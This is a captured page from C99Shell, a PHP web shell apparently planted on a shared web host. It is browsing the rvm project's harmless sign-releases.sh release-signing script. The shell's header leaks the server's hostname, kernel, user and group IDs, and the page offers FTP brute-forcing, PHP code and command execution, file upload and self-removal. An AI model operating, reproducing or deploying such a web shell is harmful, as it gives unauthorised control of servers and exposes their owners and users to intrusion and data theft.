!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/local/rvm/src/rvm/   drwxrwxr-x
Free 6181.72 GB of 6262.92 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sign-releases.sh (1.67 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/env bash

calculate_last()
{
  git checkout stable
  last_release="$( git tag --list --sort=v:refname | tail -n 1 )"
}

go_to_temp()
{
  mkdir -p ~/tmp/${last_release}/$1/unpacked
  cd  ~/tmp/${last_release}/$1
  echo -e "\n------------\nWorking dir: $PWD"
}

download_from_github()
{
  [[ -e ${last_release}.tar.gz ]] ||
  curl -OL https://github.com/rvm/rvm/archive/${last_release}.tar.gz
}

download_from_bitbucket()
{
  [[ -e ${last_release}.tar.gz ]] ||
  curl -OL https://bitbucket.org/mpapis/rvm/get/${last_release}.tar.gz
}

unpack_package()
{
  tar -xzf ${last_release}.tar.gz --strip-components=1 -C unpacked
}

compare_package_with_stable()
{
  diff -ur -x .git -x rvm-test -x .idea "$rvm_project_path" $PWD/unpacked ||
  {
    typeset __result=$?
    echo "found differences (result:$__result), skipping signature generation"
    return $__result
  }
}

sign_release()
{
  gpg2 --armor --detach-sig ${last_release}.tar.gz
}

remove_extra_files()
{
  rm -rf ${last_release}.tar.gz unpacked
}

upload_github()
{
  echo "Upload ${last_release}.tar.gz.asc to: https://github.com/rvm/rvm/releases/new?tag=${last_release}"
}

upload_bitbucket()
{
  echo "Upload ${last_release}.tar.gz.asc to: https://bitbucket.org/mpapis/rvm/downloads"
}

back_to_rvm_master()
{
  echo -e "\n------------"
  cd "$rvm_project_path"
  git checkout master
}

main()
{
  typeset last_release rvm_project_path

  rvm_project_path="$PWD"
  calculate_last
  for current in github bitbucket
  do
    go_to_temp ${current}
    download_from_${current}
    unpack_package
    compare_package_with_stable || continue
    sign_release
    remove_extra_files
    upload_${current}
  done
  back_to_rvm_master
}

main

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0114 ]--